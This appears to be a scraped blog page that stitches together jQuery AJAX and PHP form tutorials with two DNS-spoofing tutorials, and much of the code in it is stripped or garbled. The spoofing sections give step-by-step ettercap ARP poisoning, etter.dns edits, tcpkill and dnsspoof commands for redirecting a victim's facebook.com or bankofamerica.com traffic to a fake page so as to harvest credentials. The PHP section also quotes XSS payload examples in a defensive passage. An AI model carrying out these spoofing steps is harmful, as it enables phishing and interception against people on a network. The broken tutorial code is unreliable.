Response.Write("Hope you live well in " & city & ".")
%>

jQuery AJAX Reference :

For a complete overview of all jQuery AJAX methods, please go to our jQuery AJAX Reference.

Example : 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$.post("demo_test_post.asp",
{
name: "Donald Duck",
city: "Duckburg"
},
function(data,status){
alert("Data: " + data + "\nStatus: " + status);
});
});
});
</head>
<body>
<button>Send an HTTP POST request to a page and get the result back</button>
</body>
</html>

Example : 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$.get("demo_test.asp", function(data, status){
alert("Data: " + data + "\nStatus: " + status);
});
});
});
</head>
<body>
<button>Send an HTTP GET request to a page and get the result back</button>
</body>
</html>

Load() Method in jQuery – AJAX |Example

jQuery load() Method :

  • The jQuery load() method is a simple, but powerful AJAX method.
  • The load() method loads data from a server and puts the returned data into the selected element.

Syntax: 

1
$(<i>selector</i>).load(<i>URL,data,callback</i>);
  • The required URL parameter specifies the URL you wish to load.
  • The optional data parameter specifies a set of querystring key/value pairs to send along with the request.
  • The optional callback parameter is the name of a function to be executed after the load() method is completed.

Here is the content of our example file: “demo_test.txt”:

1
2
<h2>jQuery and AJAX is FUN!!!</h2>
<p id="p1">This is some text in a paragraph.</p>
  • The following example loads the content of the file “demo_test.txt” into a specific
    element:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$(document).ready(function(){
$("button").click(function(){
$("#div1").load("demo_test.txt");
});
});

"div1">

Let jQuery AJAX Change This Text

<button>Get External Content</button>
</body>
</html>
  • It is also possible to add a jQuery selector to the URL parameter.
  • The following example loads the content of the element with id=”p1″, inside the file “demo_test.txt”, into a specific
    element:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$(document).ready(function(){
$("button").click(function(){
$("#div1").load("demo_test.txt #p1");
});
});

"div1">

Let jQuery AJAX Change This Text

<button>Get External Content</button>
</body>
</html>
  • The optional callback parameter specifies a callback function to run when the load() method is completed. The callback function can have different parameters:
  • responseTxt – contains the resulting content if the call succeeds
  • statusTxt – contains the status of the call
  • xhr – contains the XMLHttpRequest object
  • The following example displays an alert box after the load() method completes. If the load() method has succeeded, it displays “External content loaded successfully!”, and if it fails it displays an error message:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("#div1").load("demo_test.txt", function(responseTxt, statusTxt, xhr){
if(statusTxt == "success")
alert("External content loaded successfully!");
if(statusTxt == "error")
alert("Error: " + xhr.status + ": " + xhr.statusText);
});
});
});
</head>
<body>

"div1">

Let jQuery AJAX Change This Text

<button>Get External Content</button>
</body>
</html>

jQuery AJAX Reference :

For a complete overview of all jQuery AJAX methods, please go to our jQuery AJAX Reference.

Example : 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("#div1").load("demo_test.txt");
});
});
</head>
<body>

"div1">

Let jQuery AJAX Change This Text

<button>Get External Content</button>
</body>
</html>

Example :  2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("#div1").load("demo_test.txt #p1");
});
});
</head>
<body>

"div1">

Let jQuery AJAX Change This Text

<button>Get External Content</button>
</body>
</html>

jQuery – Get and Set CSS Classes |jQuery css() Method|jQuery Manipulating CSS|Example Stylesheet | jQuery addClass() Method

  • With jQuery, it is easy to manipulate the CSS of elements.

jQuery Manipulating CSS :

jQuery has several methods for CSS manipulation. We will look at the following methods:

  • addClass() – Adds one or more classes to the selected elements
  • removeClass() – Removes one or more classes from the selected elements
  • toggleClass() – Toggles between adding/removing classes from the selected elements
  • css() – Sets or returns the style attribute

Example Stylesheet :

  • The following stylesheet will be used for all the examples on this page:

 

1
2
3
4
5
6
7
8
.important </span>{
<span class="highATT">font-weight:</span><span class="highVAL"> bold;</span>
<span class="highATT">font-size:</span><span class="highVAL"> xx-large;</span>
}
<span class="highELE">.blue </span>{
<span class="highATT">color:</span><span class="highVAL"> blue;</span>
}

jQuery addClass() Method :

  • The following example shows how to add class attributes to different elements. Of course you can select multiple elements, when adding classes:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("h1, h2, p").addClass("blue");
$("div").addClass("important");
});
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
}
.blue {
color: blue;
}
</style>
</head>
<body>
<h1>Heading 1</h1>
<h2>Heading 2</h2>
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>

This is some important text!

<br>

<button>Add classes to elements</button>
</body>
</html>
  • You can also specify multiple classes within the addClass() method:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("#div1").addClass("important blue");
});
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
}
.blue {
color: blue;
}
</style>
</head>
<body>

"div1">This is some text.

"div2">This is some text.

<br>
<button>Add classes to first div element</button>
</body>
</html>

jQuery removeClass() Method :

  • The following example shows how to remove a specific class attribute from different elements:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("h1, h2, p").removeClass("blue");
});
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
}
.blue {
color: blue;
}
</style>
</head>
<body>
<h1 class="blue">Heading 1</h1>
<h2 class="blue">Heading 2</h2>
<p class="blue">This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Remove class from elements</button>
</body>
</html>

jQuery toggleClass() Method :

  • The following example will show how to use the jQuery toggleClass() method. This method toggles between adding/removing classes from the selected elements:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("button").click(function(){
$("h1, h2, p").toggleClass("blue");
});
});
<style>
.blue {
color: blue;
}
</style>
</head>
<body>
<h1>Heading 1</h1>
<h2>Heading 2</h2>
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Toggle class</button>
</body>
</html>

jQuery css() Method :

  • The jQuery css() method will be explained in the next chapter.

Test Yourself with Exercises! :

Example : 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
// add code here
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
background-color: yellow;
}
</style>
</head>
<body>
<p>This is a paragraph.</p>
</body>
</html>

Example : 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
// add code here
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
background-color: yellow;
}
.test {
color: red;
border: 5px dotted blue;
}
</style>
</head>
<body>
<p>This is a paragraph.</p>
</body>
</html>

Example : 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
$(document).ready(function(){
$("p").click(function(){
// add code here
});
});
<style>
.important {
font-weight: bold;
font-size: xx-large;
background-color: yellow;
}
</style>
</head>
<body>
<p>This is a paragraph - Click me to toggle class!</p>
</body>
</html>

 

Shahid Ahmad Malla

http://www.facebook.com/hackersthirdeye

How to DNS Spoof (Kali Linux 2.0)2016

Hey guys, today I’m bringing you another Kali Linux 2.0 tutorial. In this tutorial we’re going to be performing a DNS Spoof attack on a LAN network onto a specific machine. If you want to watch the video tutorial scroll the the bottom of this thread :blackhat:

Introduction

So DNS Spoofing is a MITM (Man in the middle attack) in which we spoof domain names and redirect them to another location. For example if I make the DNS go to 127.0.0.1 when facebook.com is typed in, the target machine will always go to 127.0.0.1. Using this information we can setup a web server on our machine and then redirect traffic from the target machine to our machine.

 

need help https://m.facebook.com/hackersthirdeyeofficial

 

What you’ll need

Getting Started

So the first thing we need to do is edit the etter.conf file so that this attack will work. So open a terminal and use the command

Code:
gedit /etc/ettercap/etter.conf

To open the etter.conf file in gedit.

At the very top of the config file you will see ‘[privs]’. You need to change both lines from ‘65534’ to 0

Code:
[privs]
ec_uid = 0                  #nobody is the default
ec_gid = 0                  #nobody is the default

Then scroll down too where it says:

Code:
#---------------
#     Linux
#---------------
# if you use ipchains:
#redir_command_on = “ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”
#redir_command_off = “ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”# if you use iptables:
#redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
#redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”

And remove the ‘#’ from both lines to do with iptables

Code:
#---------------
#     Linux
#---------------
# if you use ipchains:
#redir_command_on = “ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”
#redir_command_off = “ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”

Then save the file and you’re all set.

Starting the attack

Now you need to open the ettercap graphical. You can find this in the main menu.

Open ettercap graphical, click Sniff -> Unified sniffing… Choose your Network interface, probably eth0 or wlan0.

Now go to Start -> Stop Sniffing (Lets setup the attack first).

Now go to Hosts -> Scan for hosts. This will scan your LAN network. After this has finished, click Hosts -> Hosts List.

Set TARGET1 to your target machine.
Set TARGET2 to your gateway

Now click MITM -> ARP Poisoning -> Sniff remote connections

Now go to Plugins -> Load a plugin -> ec_dns_spoof.so

Now go back to your terminal and open the etter.dns file by using this command

Code:
gedit /etc/ettercap/etter.dns

Change the “Microsoft Sucks” line to read something similar to mine:

Code:
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
facebook.com      A   192.168.153.135 <- This is the Kali Machine
*.facebook.com    A   192.168.153.135##########################################

WE ARE NEARLY READY TO START THE ATTACK

The final thing we need to do is pop a page into the /var/www folder

Create a new html file in the /var/www folder (Don’t need to explain how to do this)

Now finally start the apache2 service by opening a terminal and type

Code:
service apache2 start

Now go back to ettercap, Click Start -> Start sniffing.

The attack is now prepared and you can test it out. Try HTTP if you run into problems.

click here for live demo

Any Problem Contact here
Thanks a bunch for reading my tutorial. I hope you enjoyed it. Watch my threads as I am going to post topics like this often!

Continue reading

How to Spoof DNS on a LAN to Redirect Traffic to Your Fake Website

here are SOOOO many ways to hack a system or network, which means you need to think creatively in order to be successful.Many novice hackers focus way too much energy on cracking passwords (which should be a last resort unless you have specialized tools or a 10,000 machine botnet) or exploiting a vulnerability in an operating system (increasingly rare). With all the protocols that computer systems use (DNS, SMTP, SMB, SNMP, LDAP, DHCP, etc), there is bound to be a vulnerability in one that we can exploit to get what we’re after.

DNS Spoofing: Redirecting Users to Your Website

In this hack, we will be exploiting the Domain Name Service (DNS). As you know, DNS is used for domain name resolution or converting a domain name such as wonderhowto.com to an IP address, 8.26.65.101. If we can mess with this protocol, we could very well send some one looking for a domain name such as bankofamerica.com to our malicious website and harvest their credentials.

Dug Song of the University of Michigan developed a suite of hacking tools that are excellent for this purpose. We have already used one of his tools, arpspoof, for doing a man-in-the-middle attack. In this attack, we will be using his dnsspoof tool, which will enable us to spoof DNS services on a local area network.

Remember, even though this hack requires that you be on the same LAN, you could get access to the LAN through a remote vulnerability or a weak password on just ONE machine on the network. In institutions with thousands of computers on their network, that means you must find a single machine that is exploitable to be able implement this attack for the entire network.

Step 1: Fire Up Kali

Let’s get started by firing up Kali and going to Applications -> Kali Linux -> Sniffing -> Network Sniffers, and finally, dnsspoof, as seen in the screenshot below.

Step 2: Open Dnsspoof

When you click on dnsspoof, the following terminal opens. Notice how simple the syntax is.

  • dnsspoof -i <interface> -f <hostsfile>

Step 3: Set Up for Sniffing

We will trying to get a Windows 7 system on our network to redirect its bankofamerica.com navigation to our own website. Let’s use Google Chrome, or any browser, to navigate there.

Step 4: Flush the DNS Cache

First, we need to flush the DNS cache of the Windows 7 system. In this way, the Windows client won’t use the cached DNS on the system and will instead use our “updated” DNS service. In reality, this step is not necessary, but for our demonstration it speeds things up.

First, close the browser and type:

  • ipconfig /flushdns

Now we need to set our network card on our Kali server to promiscuous mode (she, your network card, will accept anyone’s packets).

  • ifconfig eth0 promisc

Now we need to kill the connection between the Windows 7 system and [www.bankofamerica.com]. This forces the Windows 7 machine user to re-authenticate.

  • tcpkill -9 host [www.bankamerica.com]

After killing http://www.bankofamerica.com, stop the tcpkill with a ctrl c.

Step 5: Create Hosts File

In my Linux tutorial on client DNS, I showed you how the hosts file in Linux acts like a static DNS. Here we will be using the hosts file to redirect that Windows 7 system’s search for Bank of America to our website. Let’s go to the /usr/local directory.

  • cd /usr/local

From there, let’s open the hosts file in any text editor. Kali doesn’t have kwrite that we had been using in BackTrack, but it does have a graphical VIM, or gvim, so let’s use that.

  • gvim hosts

Now that we have the hosts file open, we need to add the following line to it. Remember, the hosts file is simply mapping an IP address to a domain name, so we put our IP address in and map it to [www.bankofamerica.com].

It’s important here to use the TAB key between the IP address and the domain. Spaces will be interpreted by the system to be part of the domain name.

Step 6: Create a New BOA Webpage

Before we go any further, we now need to turn off promiscuous mode on our network card (she decided to commit to you and only you).

  • ifconfig eth0 -promisc

Now we need to create a website that the user will be directed to when they type bankofamerica.com in the URL of their browser. Let’s create a simple webpage. If you want more info on how to create a simple webpage and host it in Linux, check out my Linux guide on Apache web servers.

Now open the index.html.

  • gvim /var/www/index.html

This is what it looks like by default. We want to change it and put in the following html and save it.

<html>
<body> <h1>This is the Fake Bank of America Web Site! </h1>
</body>
</html)>

Of course, if you really wanted to pull off this hack, you would want to take the time to build a website that looks and acts just like the site you’re spoofing, but that is another tutorial entirely.

Step 7: Start a the Apache Web Server

Now, start the web server built into Kali. This is Apache and the service is HTTP, so we go to Kali Linux -> System Services -> HTTP, and finally, apache2 start. This will start our web server on our Kali system hosting the fake Bank of America website.

Step 8: Start Dnsspoof

In our last step, we need to start dnsspoof and direct users to the entries in our “hosts” file first. Dnsspoof will intercept DNS queries and send them first to our hosts file before then sending them along to the DNS server. In this way, if we have any entry in our hosts file that the client is looking for, it will directed as specified by our hosts file.

Remember, we mapped bankofamerica.com to our IP address so that they will go to OUR web server and see OUR website.

  • dnsspoof -f hosts

Step 9: Navigate to BOA from Windows 7

Now, from the Windows 7 system, type in the URL bankofamerica.com and it will pull up our fake website vs. the real Bank of America site.

Now, when anyone on the local area network attempts to navigate to the Bank of America website, they will instead come to our website!

As you can imagine, with dnsspoof in place, we can wreak all kinds of havoc on a LAN! for help hackersthirdeye.com or facebook.com/hackersthirdeye

PHP 5 Form Handling | PHP 5 Form Validation | PHP 5 Forms – Required Fields | PHP 5 Forms – Validate E-mail and URL |

The example below displays a simple HTML form with two input fields and a submit button:

Example :

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="welcome.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit">
</form>
</body>
</html>

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre>
</div>

class="example_code notranslate">

class="example_code notranslate">
"welcome_get.php" method="get">
Name: "text" name="name">
E-mail: "text" name="email">
"submit">

class="example_code notranslate">

GET vs. POST :

Both GET and POST create an array (e.g. array( key => value, key2 => value2, key3 => value3, …)). This array holds key/value pairs, where keys are the names of the form controls and values are the input data from the user.

Both GET and POST are treated as $_GET and $_POST. These are superglobals, which means that they are always accessible, regardless of scope – and you can access them from any function, class or file without having to do anything special.

$_GET is an array of variables passed to the current script via the URL parameters.

$_POST is an array of variables passed to the current script via the HTTP POST method.


When to use GET? :

Information sent from a form with the GET method is visible to everyone (all variable names and values are displayed in the URL). GET also has limits on the amount of information to send. The limitation is about 2000 characters. However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases.

GET may be used for sending non-sensitive data.

Note: GET should NEVER be used for sending passwords or other sensitive information!


When to use POST? :

Information sent from a form with the POST method is invisible to others (all names/values are embedded within the body of the HTTP request) and has no limits on the amount of information to send.

Moreover POST supports advanced functionality such as support for multi-part binary input while uploading files to server.

However, because the variables are not displayed in the URL, it is not possible to bookmark the page.

PHP 5 Form Validation :


This and the next chapters show how to use PHP to validate form data.

PHP Form Validation :

Think SECURITY when processing PHP forms!These pages will show how to process PHP forms with security in mind. Proper validation of form data is important to protect your form from hackers and spammers!

The HTML form we will be working at in these chapters, contains various input fields: required and optional text fields, radio buttons, and a submit button:

The validation rules for the form above are as follows:

Field Validation Rules
Name Required. + Must only contain letters and whitespace
E-mail Required. + Must contain a valid email address (with @ and .)
Website Optional. If present, it must contain a valid URL
Comment Optional. Multi-line input field (textarea)
Gender Required. Must select one

First we will look at the plain HTML code for the form:

Text Fields :

The name, email, and website fields are text input elements, and the comment field is a textarea. The HTML code looks like this:

Name:
E-mail:
Website:
Comment:

Radio Buttons :

The gender fields are radio buttons and the HTML code looks like this:

Gender:
Female
Male

The Form Element :

The HTML code of the form looks like this:

1
"post" action="PHP_SELF"]);?>">

Big Note on PHP Form Security :

The $_SERVER[“PHP_SELF”] variable can be used by hackers!

If PHP_SELF is used in your page then a user can enter a slash (/) and then some Cross Site Scripting (XSS) commands to execute.

1
"post" action="PHP_SELF"];?>">

How To Avoid $_SERVER[“PHP_SELF”] Exploits? :

$_SERVER[“PHP_SELF”] exploits can be avoided by using the htmlspecialchars() function.

The form code should look like this:

”>

The htmlspecialchars() function converts special characters to HTML entities. Now if the user tries to exploit the PHP_SELF variable, it will result in the following output:

alert(‘hacked’)”>

The exploit attempt fails, and no harm is done!


Validate Form Data With PHP :

The first thing we will do is to pass all variables through PHP’s htmlspecialchars() function.

When we use the htmlspecialchars() function; then if a user tries to submit the following in a text field:

location.href(‘http://www.hacked.com’)

– this would not be executed, because it would be saved as HTML escaped code, like this:

location.href(‘http://www.hacked.com’)

The code is now safe to be displayed on a page or inside an e-mail.

We will also do two more things when the user submits the form:

  1. Strip unnecessary characters (extra space, tab, newline) from the user input data (with the PHP trim() function)
  2. Remove backslashes (\) from the user input data (with the PHP stripslashes() function)

The next step is to create a function that will do all the checking for us (which is much more convenient than writing the same code over and over again).

We will name the function test_input().

Now, we can check each $_POST variable with the test_input() function, and the script looks like this:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// define variables and set to empty values
$name = $email = $gender = $comment = $website = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $name = test_input($_POST["name"]);
  $email = test_input($_POST["email"]);
  $website = test_input($_POST["website"]);
  $comment = test_input($_POST["comment"]);
  $gender = test_input($_POST["gender"]);
}
function test_input($data) {
  $data = trim($data);
  $data = stripslashes($data);
  $data = htmlspecialchars($data);
  return $data;
}
?>

PHP 5 Forms – Required Fields :


This chapter shows how to make input fields required and create error messages if needed.


PHP – Required Fields :

From the validation rules table on the previous page, we see that the “Name”, “E-mail”, and “Gender” fields are required. These fields cannot be empty and must be filled out in the HTML form.

Field Validation Rules
Name Required. + Must only contain letters and whitespace
E-mail Required. + Must contain a valid email address (with @ and .)
Website Optional. If present, it must contain a valid URL
Comment Optional. Multi-line input field (textarea)
Gender Required. Must select one

In the previous chapter, all input fields were optional.

In the following code we have added some new variables: $nameErr, $emailErr, $genderErr, and $websiteErr. These error variables will hold error messages for the required fields. We have also added an if else statement for each $_POST variable. This checks if the $_POST variable is empty (with the PHP empty() function). If it is empty, an error message is stored in the different error variables, and if it is not empty, it sends the user input data through the test_input() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// define variables and set to empty values
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  if (empty($_POST["name"])) {
    $nameErr = "Name is required";
  } else {
    $name = test_input($_POST["name"]);
  }
  if (empty($_POST["email"])) {
    $emailErr = "Email is required";
  } else {
    $email = test_input($_POST["email"]);
  }
  if (empty($_POST["website"])) {
    $website = "";
  } else {
    $website = test_input($_POST["website"]);
  }
  if (empty($_POST["comment"])) {
    $comment = "";
  } else {
    $comment = test_input($_POST["comment"]);
  }
  if (empty($_POST["gender"])) {
    $genderErr = "Gender is required";
  } else {
    $gender = test_input($_POST["gender"]);
  }
}
?>

PHP – Display The Error Messages :

Then in the HTML form, we add a little script after each required field, which generates the correct error message if needed (that is if the user tries to submit the form without filling out the required fields):

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
"post" action="PHP_SELF"]);?>">
Name: "text" name="name">
class="error">* echo $nameErr;?>

E-mail:
"text" name="email">
class="error">* echo $emailErr;?>

Website:
"text" name="website">
class="error">echo $websiteErr;?>

Comment: "comment" rows="5" cols="40">

Gender:
"radio" name="gender" value="female">Female
"radio" name="gender" value="male">Male
class="error">* echo $genderErr;?>

"submit" name="submit" value="Submit">

</div>
</div>

class="example_code notranslate">

PHP 5 Forms – Validate E-mail and URL:

This chapter shows how to validate names, e-mails, and URLs.


PHP – Validate Name :

The code below shows a simple way to check if the name field only contains letters and whitespace. If the value of the name field is not valid, then store an error message:

$name = test_input($_POST[“name”]);
if (!preg_match(“/^[a-zA-Z ]*$/”,$name)) {
$nameErr = “Only letters and white space allowed”;
}

 

PHP – Validate E-mail :

The easiest and safest way to check whether an email address is well-formed is to use PHP’s filter_var() function.

In the code below, if the e-mail address is not well-formed, then store an error message:

$email = test_input($_POST[“email”]);
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$emailErr = “Invalid email format”;
}

PHP – Validate URL :

The code below shows a way to check if a URL address syntax is valid (this regular expression also allows dashes in the URL). If the URL address syntax is not valid, then store an error message:

$website = test_input($_POST[“website”]);
if (!preg_match(“/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i”,$website)) {
$websiteErr = “Invalid URL”;
}

PHP – Validate Name, E-mail, and URL :

Now, the script looks like this:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// define variables and set to empty values
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  if (empty($_POST["name"])) {
    $nameErr = "Name is required";
  } else {
    $name = test_input($_POST["name"]);
    // check if name only contains letters and whitespace
    if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
      $nameErr = "Only letters and white space allowed";
    }
  }
  if (empty($_POST["email"])) {
    $emailErr = "Email is required";
  } else {
    $email = test_input($_POST["email"]);
    // check if e-mail address is well-formed
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      $emailErr = "Invalid email format";
    }
  }
  if (empty($_POST["website"])) {
    $website = "";
  } else {
    $website = test_input($_POST["website"]);
    // check if URL address syntax is valid (this regular expression also allows dashes in the URL)
    if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
      $websiteErr = "Invalid URL";
    }
  }
  if (empty($_POST["comment"])) {
    $comment = "";
  } else {
    $comment = test_input($_POST["comment"]);
  }
  if (empty($_POST["gender"])) {
    $genderErr = "Gender is required";
  } else {
    $gender = test_input($_POST["gender"]);
  }
}
?>

PHP 5 Complete Form Example :

This chapter shows how to keep the values in the input fields when the user hits the submit button.


PHP – Keep The Values in The Form :

To show the values in the input fields after the user hits the submit button, we add a little PHP script inside the value attribute of the following input fields: name, email, and website. In the comment textarea field, we put the script between the and tags. The little script outputs the value of the $name, $email, $website, and $comment variables.

Then, we also need to show which radio button that was checked. For this, we must manipulate the checked attribute (not the value attribute for radio buttons):

Name: ”>E-mail: ”>

Website: ”>

Comment:

Gender:

value=”female”>Female

value=”male”>Male.

 

PHP 5 Tutorial | PHP 5 Introduction | PHP 5 Installation | PHP 5 Syntax see more……….

PHP 5 Tutorial :–

PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages.

PHP is a widely-used, free, and efficient alternative to competitors such as Microsoft’s ASP.

Easy Learning with “Show PHP” :-

Our “Show PHP” tool makes it easy to learn PHP, it shows both the PHP source code and the HTML output of the code.

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class="example_code notranslate">

class="example_code notranslate">
class="marked">
echo "My first PHP script!";
?>

class="example_code notranslate">

PHP 5 Introduction:-

PHP scripts are executed on the server.

What You Should Already Know :-

Before you continue you should have a basic understanding of the following:

  1. HTML
  2. CSS
  3. JavaScript

If you want to study these subjects first, find the tutorials on ourpage.

What is PHP?  :-

  1. PHP is an acronym for “PHP: Hypertext Preprocessor”
  2. PHP is a widely-used, open source scripting language
  3. PHP scripts are executed on the server
  4. PHP is free to download and use

What is a PHP File?  :–

  1. PHP files can contain text, HTML, CSS, JavaScript, and PHP code
  2. PHP code are executed on the server, and the result is returned to the browser as plain HTML
  3. PHP files have extension “.php”

What Can PHP Do?  :-

  1. PHP can generate dynamic page content
  2. PHP can create, open, read, write, delete, and close files on the server
  3. PHP can collect form data
  4. PHP can send and receive cookies
  5. PHP can add, delete, modify data in your database
  6. PHP can be used to control user-access
  7. PHP can encrypt data

With PHP you are not limited to output HTML. You can output images, PDF files, and even Flash movies. You can also output any text, such as XHTML and XML.

Why PHP?  :-

  1. PHP runs on various platforms (Windows, Linux, Unix, Mac OS X, etc.)
  2. PHP is compatible with almost all servers used today (Apache, IIS, etc.)
  3. PHP supports a wide range of databases
  4. PHP is free. Download it from the official PHP resource: www.php.net
  5. PHP is easy to learn and runs efficiently on the server side

PHP 5 Installation  :-

What Do I Need?

To start using PHP, you can:

  1. Find a web host with PHP and MySQL support
  2. Install a web server on your own PC, and then install PHP and MySQL

Use a Web Host With PHP Support :-

  • If your server has activated support for PHP you do not need to do anything.
  • Just create some .php files, place them in your web directory, and the server will automatically parse them for you.
  • You do not need to compile anything or install any extra tools.
  • Because PHP is free, most web hosts offer PHP support.

Set Up PHP on Your Own PC :-

However, if your server does not support PHP, you must:

  1. install a web server
  2. install PHP
  3. install a database, such as MySQL

The official PHP website (PHP.net) has installation instructions for PHP.

PHP 5 Syntax :-

A PHP script can be placed anywhere in the document.

A PHP script starts with and ends with ?>:

1
2
3
4
5
6
7
8

// PHP code goes here
?>

The default file extension for PHP files is “.php”.

A PHP file normally contains HTML tags, and some PHP scripting code.

Below, we have an example of a simple PHP file, with a PHP script that uses a built-in PHP function “echo” to output the text “Hello World!” on a web page:

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

class="example_code notranslate">

class="example_code notranslate">

My first PHP page

class="marked">
echo "Hello World!";
?>

class="example_code notranslate">

class="example_code notranslate">
Note: PHP statements end with a semicolon (;).

Comments in PHP :-

A comment in PHP code is a line that is not read/executed as part of the program. Its only purpose is to be read by someone who is looking at the code.

Comments can be used to:

  1. Let others understand what you are doing
  2. Remind yourself of what you did – Most programmers have experienced coming back to their own work a year or two later and having to re-figure out what they did. Comments can remind you of what you were thinking when you wrote the code

PHP supports several ways of commenting:

Example  :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

class="example_code notranslate">

class="example_code notranslate">
class="marked">
// This is a single-line comment
# This is also a single-line comment
/*
This is a multiple-lines comment block
that spans over multiple
lines
*/
// You can also use comments to leave out parts of a code line
$x = 5 /* + 15 */ + 5;
echo $x;
?>

class="example_code notranslate">

PHP Case Sensitivity :-

In PHP, all keywords (e.g. if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive.

In the example below, all three echo statements below are legal (and equal):

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class="example_code notranslate">

class="example_code notranslate">
class="marked">
ECHO "Hello World!
"
;
echo "Hello World!
"
;
EcHo "Hello World!
"
;
?>

class="example_code notranslate">

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

class="example_code notranslate">

class="example_code notranslate">
class="marked">
$color = "red";
echo "My car is " . $color . "
"
;
echo "My house is " . $COLOR . "
"
;
echo "My boat is " . $coLOR . "
"
;
?>

class="example_code notranslate">

PHP 5 Variables   :-

Variables are “containers” for storing information.

Creating (Declaring) PHP Variables :-

In PHP, a variable starts with the $ sign, followed by the name of the variable:

Example :-

1
2
3
4
5
6
7
8
9

class="example_code notranslate">

class="example_code notranslate">
$txt = "Hello world!";
$x = 5;
$y = 10.5;
?>

class="example_code notranslate">

PHP Variables :-

